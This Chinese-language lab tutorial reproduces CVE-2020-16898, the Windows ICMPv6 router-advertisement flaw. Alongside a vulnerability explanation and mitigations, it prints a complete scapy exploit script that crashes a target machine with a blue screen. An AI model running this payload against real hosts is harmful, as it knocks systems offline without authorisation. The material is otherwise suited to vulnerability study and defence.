如何进行CVE-2020-16898漏洞复现

发布时间:2021-12-28 19:52:42 作者:柒染
来源:亿速云 阅读:168

本篇文章为大家展示了如何进行CVE-2020-16898漏洞复现,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

漏洞简介

当Windows TCP / IP大小不当处理ICMPv6路由器广告数据包时,存在远程执行代码入侵。成功利用此入侵的攻击者可以获取目标服务器或客户端上执行代码的能力,可以让受害机蓝屏

为了利用此漏洞,攻击者可能必须将经过特殊设计的ICMPv6路由器广告数据包发送到远程Windows计算机上。

漏洞分析

当Windows TCP / IP堆栈不适当地处理使用选项类型25(递归DNS服务器选项)且长度字段值为偶数的ICMPv6路由器广告数据包时,存在一个漏洞。

当提供一个偶数长度值时,Windows TCP / IP堆栈错误地将网络缓冲区的行进量减少了8个字节。这是因为堆栈在内部以16字节为增量进行计数,因此无法解决使用非RFC兼容长度值的情况。这种不匹配导致堆栈将当前选项的最后8个字节解释为第二个选项的开始,最终导致缓冲区溢出和潜在的RCE。

影响版本

• Microsoft Windows 10 1709• Microsoft Windows 10 1803• Microsoft Windows 10 1809• Microsoft Windows 10 1903• Microsoft Windows 10 1909• Microsoft Windows 10 2004• Microsoft Windows Server 2019

环境部署

攻击机IP:192.168.192.1(win10 1909)

如何进行CVE-2020-16898漏洞复现

靶机IP:192.168.192.128 (win10 1809)

如何进行CVE-2020-16898漏洞复现

漏洞复现

确定靶机开启NAT模式以及开启ipv6

全屏模式下点击虚拟网络编辑器然后点击更改设置

如何进行CVE-2020-16898漏洞复现

然后再开启ipv6,点击确定

如何进行CVE-2020-16898漏洞复现

确认两台机器都可以互相ping通

靶机ping攻击机

如何进行CVE-2020-16898漏洞复现

攻击机ping靶机

如何进行CVE-2020-16898漏洞复现

查看靶机的ipv6地址

如何进行CVE-2020-16898漏洞复现

查看攻击机的ipv6地址

如何进行CVE-2020-16898漏洞复现

接着使用一个网上的pyload

内容为

from scapy.all import *from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6 v6_dst = "fd15:4ba5:5a2b:1008:5d26:75a3:1641:ee3" #根据上面的修改为目标机的ipv6地址 或者 临时ipv6地址v6_src = "fe80::9548:d004:9491:9c34%13" #攻击者的本地ipv6地址 p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"p_test = p_test_half + 'A'.encode()*4 c = ICMPv6NDOptEFA() e = ICMPv6NDOptRDNSS()e.len = 21e.dns = ["AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]aaa = ICMPv6NDOptRDNSS()aaa.len = 8pkt = ICMPv6ND_RA() / aaa / \ Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \ IPv6ExtHdrFragment()/pkt l=fragment6(p_test_frag, 200) for p in l: send(p)

上边的目标机的ip要为ipv6地址或临时ipv6地址

攻击机的ipv6要为本地链接ipv6地址

将地址写入到payload中,可以实施攻击。

攻击的要利用到一个scapy的组件,这个组件依赖于python环境

在攻击机上装上python环境 (从官网下载并配置环境)

Scapy是一个Python程序,使用户能够发送,嗅探和剖析并伪造网络数据包。此功能允许构建可以探测,扫描或攻击网络的工具。

命令为:pip install scapy

如果失败的话可能是python版本太高,可以选用python3.7版本的

如何进行CVE-2020-16898漏洞复现

可以看出我是装了这个组件的

启动scapy,出现如下界面

如何进行CVE-2020-16898漏洞复现

cd进入桌面(桌面存在这个文件)

然后使用这个命令:

python CVE-2020-16898.py

可以看到受害机蓝屏

如何进行CVE-2020-16898漏洞复现

实验完成

漏洞修复

尽量开启防火墙

关闭ipv6服务

对外部流量进行严格过滤

上述内容就是如何进行CVE-2020-16898漏洞复现,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注亿速云行业资讯频道。

推荐阅读:
  1. Nginx 解析漏洞复现
  2. 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

cve-2020-16898

上一篇:怎么就行Apache Shiro权限绕过漏洞CVE-2020-11989的挖掘分析和复现

下一篇:怎么实现微软本地提权漏洞cve-2019-1458分析

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》